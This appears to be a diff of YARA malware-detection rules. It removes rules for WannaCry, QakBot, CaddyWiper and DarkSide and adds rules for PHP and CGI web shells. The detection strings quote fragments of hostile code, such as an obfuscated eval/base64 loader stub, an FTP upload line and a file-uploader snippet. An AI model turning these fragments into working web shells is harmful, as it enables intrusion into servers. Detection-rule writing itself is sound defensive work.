+		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Wanncry_M_Vbs : FILE
+rule SIGNATURE_BASE_Lurm_Safemod_On_Cgi
 {
 	meta:
-		description = "Detects WannaCry Ransomware VBS"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a8f13bd2-984d-5c8c-ac53-7d442e222850"
-		date = "2017-05-12"
+		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "74e77260-a547-5553-8430-2620f8549f50"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/HG2j5T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L68-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4606834535b4cad2e0d4a9bf6519fc4d749422fa4920f91fed9147ccfdff090"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3886-L3898"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5ea4f901ce1abdf20870c214b3231db3"
+		logic_hash = "d308ad6cda92fa437b9a4c46cd1b97fb0138aa8d0010256bda56a64ced1c7875"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "51432d3196d9b78bdc9867a77d601caffd4adaa66dcac944a5ba0b3112bbea3b"
+		tags = ""
 
 	strings:
-		$x1 = ".TargetPath = \"C:\\@" ascii
-		$x2 = ".CreateShortcut(\"C:\\@" ascii
-		$s3 = " = WScript.CreateObject(\"WScript.Shell\")" ascii
+		$s0 = "Network security team :: CGI Shell" fullword
+		$s1 = "#########################<<KONEC>>#####################################" fullword
+		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword
 
 	condition:
-		( uint16(0)==0x4553 and filesize <1KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Wanncry_BAT : FILE
+rule SIGNATURE_BASE_C99Madshell_V2_0_Php_Php
 {
 	meta:
-		description = "Detects WannaCry Ransomware BATCH File"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0929f0de-28ac-5534-a6fd-7b131abda011"
-		date = "2017-05-12"
+		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "b0724920-dc1e-5819-a99b-618a9a7e1eca"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/HG2j5T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L85-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "472c6aa0f1b5229d639ef347ea39947d3fd292cda3c4086e29a19b64daad4f3f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3899-L3909"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d27292895da9afa5b60b9d3014f39294"
+		logic_hash = "07922511d9dfdd32f6b1f47479fca2063b773024a20dcab6f5cf4d56d66c3397"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077"
+		tags = ""
 
 	strings:
-		$s1 = "@.exe\">> m.vbs" ascii
-		$s2 = "cscript.exe //nologo m.vbs" fullword ascii
-		$s3 = "echo SET ow = WScript.CreateObject(\"WScript.Shell\")> " ascii
-		$s4 = "echo om.Save>> m.vbs" fullword ascii
+		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"
 
 	condition:
-		( uint16(0)==0x6540 and filesize <1KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Wannacry_Ransomnote : FILE
+rule SIGNATURE_BASE_Backupsql_Php_Often_With_C99Shell
 {
 	meta:
-		description = "Detects WannaCry Ransomware Note"
-		author = "Florian Roth (Nextron Systems)"
-		id = "65ce8faf-0981-5382-bc15-f094ccaa9f54"
-		date = "2017-05-12"
+		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/HG2j5T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L103-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da814848f4616166bd7b92fa1d55a54b565fa8e6036cb895e5795448e989a99d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3910-L3921"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
+		logic_hash = "7c64e3d4e5815859c51f05cb376f72ea266b31193f3f4588526005e167ebabad"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e"
+		tags = ""
 
 	strings:
-		$s1 = "A:  Don't worry about decryption." fullword ascii
-		$s2 = "Q:  What's wrong with my files?" fullword ascii
+		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
+		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
 
 	condition:
-		( uint16(0)==0x3a51 and filesize <2KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_Lazaruswannacry : FILE
+rule SIGNATURE_BASE_Uploader_Php_Php
 {
 	meta:
-		description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
-		author = "Costin G. Raiu, Kaspersky Lab"
-		id = "e9dd9750-2366-503a-a879-972dbead6bf3"
-		date = "2017-05-15"
+		description = "Semi-Auto-generated  - file uploader.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "62aa783b-f12f-5bb5-9d96-7aee1666788b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/neelmehta/status/864164081116225536"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L121-L147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9c7c7149387a1c79679a87dd1ba755bc"
-		hash = "ac21c8ad899727137c4b94458d7aa8d8"
-		logic_hash = "8b32f1ea45a346088a18761540df3387997b53ea853f7a53cd292c9224f11209"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3922-L3934"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b53b67bb3b004a8681e1458dd1895d0"
+		logic_hash = "6e6ffc4cad2a956cb2b6667928bac5996cf95cd36f43ba789144c46726471f07"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
-
-	strings:
-		$a1 = { 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
-         04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46
-         56 E8 }
-		$a2 = { 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
-         10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
-         30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
-         38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
-         44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
-         68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
-         FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
-         08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
-         10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
-         2B C0 2C C0 FF FE }
+		tags = ""
+
+	strings:
+		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
+		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword
 
 	condition:
-		uint16(0)==0x5A4D and filesize <15000000 and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_MAL_Qakbot_Configextraction_Feb23 : FILE
+rule SIGNATURE_BASE_Telnet_Pl
 {
 	meta:
-		description = "QakBot Config Extraction"
-		author = "kevoreilly"
-		id = "401184cf-bbd7-5afe-9589-470f54721af1"
-		date = "2023-02-17"
+		description = "Semi-Auto-generated  - file telnet.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "be4de017-e929-5dd3-a60e-f187456b1a55"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_qbot_feb23.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad75b07b9b786f634fd46cbe6dc089d3f732673320e70714e8ab058f0392c9f5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3935-L3946"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dd9dba14383064e219e29396e242c1ec"
+		logic_hash = "2d1abc52fc70ce664a19e49e6fa4175bc8d8785dee332d5273323479d9628a8c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config"
-		packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68"
+		tags = ""
 
 	strings:
-		$params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9}
-		$c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8}
-		$c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8}
-		$conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3}
+		$s0 = "W A R N I N G: Private Server"
+		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_Qakbotloader_Export_Section_Feb23 : FILE
+rule SIGNATURE_BASE_W3D_Php_Php
 {
 	meta:
-		description = "QakBot Export Selection"
-		author = "kevoreilly"
-		id = "cb86e9fb-a8d2-5285-aeda-622704399f8e"
-		date = "2023-02-17"
+		description = "Semi-Auto-generated  - file w3d.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "1a4e3c84-2d3b-5245-bccc-9a5f59b9fc17"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_qbot_feb23.yar#L22-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a"
-		logic_hash = "0e40cd6acdbfb17670b414bd6f2ecdf1ae26ddd6a5d85931973b98963a43aba8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3947-L3959"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "987f66b29bfb209a0b4f097f84f57c3b"
+		logic_hash = "33f948a1ae4474daddd788df84fa8baabf4390ec242cad9a6a51dac0152d3b75"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		cape_options = "export=$export"
+		tags = ""
 
 	strings:
-		$export = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74}
-		$wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E8 [5-7] 74}
+		$s0 = "W3D Shell"
+		$s1 = "By: Warpboy"
+		$s2 = "No Query Executed"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_MAL_Qakbotantivm_Antivm_Bypass_Feb23
+rule SIGNATURE_BASE_Webshell_Cgi
 {
 	meta:
-		description = "QakBot AntiVM bypass"
-		author = "kevoreilly"
-		id = "7446522a-788a-512d-ad68-2fcc56169f5a"
-		date = "2023-02-17"
+		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "b768bb72-64e8-545a-9123-3d5889b58a82"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_qbot_feb23.yar#L40-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7"
-		logic_hash = "20f1cd28f38945a3aa328e77e78525fb1ffc47ecf54d5a40c2f18264c3973989"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3960-L3971"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
+		logic_hash = "8908ced96284de6b6d5ae693ba54c49a6333bbe5780d951cbacc91b4dde027df"
 		score = 75
 		quality = 85
 		tags = ""
-		cape_options = "bp0=$antivm1,action0=unwind,count=1"
 
 	strings:
-		$antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB}
+		$s0 = "WebShell.cgi"
+		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Gen_Excel_Xor_Obfuscation_Velvetsweatshop : FILE
+rule SIGNATURE_BASE_Winx_Shell_Html
 {
 	meta:
-		description = "Detects XOR encryption (c. 2003) in Excel file formats"
-		author = "@JohnLaTwc"
-		id = "8a16105c-4f43-5a35-941c-6ee9593b039c"
-		date = "2020-10-09"
+		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "fe02d995-4375-5ce9-aabe-fae5d29278d3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/BouncyHat/status/1308896366782042113"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_excel_xor_obfuscation_velvetsweatshop.yar#L3-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c38d56199d34adfc98d8032321239ab20c6eaa8abcafd56f8e1cf24fd3a4094f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3972-L3984"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+		logic_hash = "4248f807d66990946523ba7b92d795c2c40429182389d9bf3f4a972e246b50c6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "da1999c23ee2dae02a169fd2208b9766cb8f046a895f5f52bed45615eea94da0"
-		hash2 = "14a32b8a504db3775e793be59d7bd5b584ea732c3ca060b2398137efbfd18d5a"
-		hash3 = "dd3e89e7bde993f6f1b280f2bf933a5cc2797f4e8736aed4010aaf46e9854f23"
-		hash4 = "4e40253b382b20e273edf82362f1c89e916f7ab8d3c518818a76cb6127d4e7c2"
+		tags = ""
 
 	strings:
-		$olemarker = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
-		$FilePass_XOR_Obfuscation_VelvetSweatshop = { 2F 00 06 00 00 00 59 B3 0A 9A }
+		$s0 = "WinX Shell"
+		$s1 = "Created by greenwood from n57"
+		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"
 
 	condition:
-		uint32(0)==0xe011cfd0 and filesize <400KB and $olemarker at 0 and $FilePass_XOR_Obfuscation_VelvetSweatshop
+		2 of them
 }
-rule SIGNATURE_BASE_SUSP_BAT_Aux_Jan20_1 : FILE
+rule SIGNATURE_BASE_Dx_Php_Php
 {
 	meta:
-		description = "Detects BAT file often dropped to cleanup temp dirs during infection"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c97f189e-a0c2-532e-b087-8669da72a2ad"
-		date = "2020-01-29"
+		description = "Semi-Auto-generated  - file Dx.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "67d0bccb-d39a-5e30-bdc0-801525ebddd7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_bat_aux.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b8cd9b7683a18a02a81222d6819fe903500702c83f198f73ac428d1bc91fb9a"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3985-L3997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+		logic_hash = "ab43ddcf317eb4db890ca9750dc6bbc19b06b806339a67c82216df02bc2e8446"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "f5d558ec505b635b1e37557350562ad6f79b3da5cf2cf74db6e6e648b7a47127"
+		tags = ""
 
 	strings:
-		$s1 = "if exist \"C:\\Users\\" ascii
-		$s2 = "\\AppData\\Local\\Temp\\" ascii
-		$s3 = "del \"C:\\Users\\" ascii
-		$s4 = ".bat\"" ascii
-		$s5 = ".exe\" goto" ascii
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"
 
 	condition:
-		uint8(0)==0x3a and filesize <=1KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_WIPER_Caddywiper_Mar22_1 : FILE
+rule SIGNATURE_BASE_Csh_Php_Php
 {
 	meta:
-		description = "Detects CaddyWiper malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "83495a0d-a295-5ec7-9761-ce79918e1034"
-		date = "2022-03-15"
+		description = "Semi-Auto-generated  - file csh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ESETresearch/status/1503436420886712321?s=20&t=xh8JK6fEmRIrnqO7Ih_PNg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_caddywiper.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d0278596010953e7068979c92a33dc0ace1bfa94979077412128d1ca756f834"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3998-L4011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
+		logic_hash = "2a74e06a9fd59d7a577041b49403738904239fb011f9bfe2fb665165991b9c98"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176"
-		hash2 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
-		hash3 = "ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72"
-		hash4 = "f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902"
+		tags = ""
 
 	strings:
-		$op1 = { ff 55 94 8b 45 fc 50 ff 55 f8 8a 4d ba 88 4d ba 8a 55 ba 80 ea 01 }
-		$op2 = { 89 45 f4 83 7d f4 00 74 04 eb 47 eb 45 6a 00 8d 95 1c ff ff ff 52 }
-		$op3 = { 6a 20 6a 02 8d 4d b0 51 ff 95 68 ff ff ff 85 c0 75 0a e9 4e 02 00 00 }
-		$op4 = { e9 67 01 00 00 83 7d f4 05 74 0a e9 5c 01 00 00 e9 57 01 00 00 8d 45 98 50 6a 20 }
+		$s0 = ".::[c0derz]::. web-shell"
+		$s1 = "http://c0derz.org.ua"
+		$s2 = "vint21h@c0derz.org.ua"
+		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and 3 of them or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Darkside_May21_1 : FILE
+rule SIGNATURE_BASE_Phpinj_Php_Php
 {
 	meta:
-		description = "Detects Darkside Ransomware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e5592065-591e-597b-bebb-f20bc306fe52"
-		date = "2021-05-10"
+		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "7bf54ef4-a3d8-51c6-8db7-bf8947e992ed"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/020c1740-717a-4191-8917-5819aa25f385/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_darkside.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "84de92b0b36e373aa61e314a04597bd0578a04af34c501ae9071e5f4fa27c07a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4012-L4024"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7a4b0df45d34888d5a09f745e85733f"
+		logic_hash = "5d39fd31cdaae7765267ce8a35a2fdcf86e7f0de40d4f303fb0f219c0fc04e40"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "ec368752c2cf3b23efbfa5705f9e582fc9d6766435a7b8eea8ef045082c6fbce"
+		tags = ""
 
 	strings:
-		$op1 = { 85 c9 75 ed ff 75 10 ff b5 d8 fe ff ff ff b5 dc fe ff ff e8 7d fc ff ff ff 8d cc fe ff ff 8b 8d cc fe ff ff }
-		$op2 = { 66 0f 6f 06 66 0f 7f 07 83 c6 10 83 c7 10 49 85 c9 75 ed 5f }
-		$op3 = { 6a 00 ff 15 72 0d 41 00 ab 46 81 fe 80 00 00 00 75 2e 6a ff 6a 01 }
-		$op4 = { 0f b7 0c 5d 88 0f 41 00 03 4c 24 04 89 4c 24 04 83 e1 3f 0f b7 14 4d 88 0f 41 00 03 54 24 08 89 54 24 08 83 e2 3f }
-		$s1 = "http://darksid" ascii
-		$s2 = "[ Welcome to DarkSide ]" ascii
-		$s3 = ".onion/" ascii
+		$s1 = "News Remote PHP Shell Injection"
+		$s3 = "Php Shell <br />" fullword
+		$s4 = "<input type = \"text\" name = \"url\" value = \""
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 3 of them or all of ($op*) or all of ($s*)
+		2 of them
 }
-rule SIGNATURE_BASE_MAL_Ransomware_Win_DARKSIDE_V1_1 : FILE
+rule SIGNATURE_BASE_Sig_2008_Php_Php
 {
 	meta:
-		description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values."
-		author = "FireEye"
-		id = "322a3de5-a7e5-52b9-8648-6019954e92d7"
-		date = "2021-03-22"
+		description = "Semi-Auto-generated  - file 2008.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "bfa3caa9-70a5-536b-a887-58427eee43df"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_darkside.yar#L25-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a700f845849e573ab3148daef1a3b0b"
-		logic_hash = "b3612510bd1f2ca7543e217e97037b02d312bcda2b2df16d9be3216749ea4beb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4025-L4038"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3e4ba470d4c38765e4b16ed930facf2c"
+		logic_hash = "a437dc3dc836e93c7a691f7a000c4a4ae574ba95b3a216394ba42538beb9c0f7"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
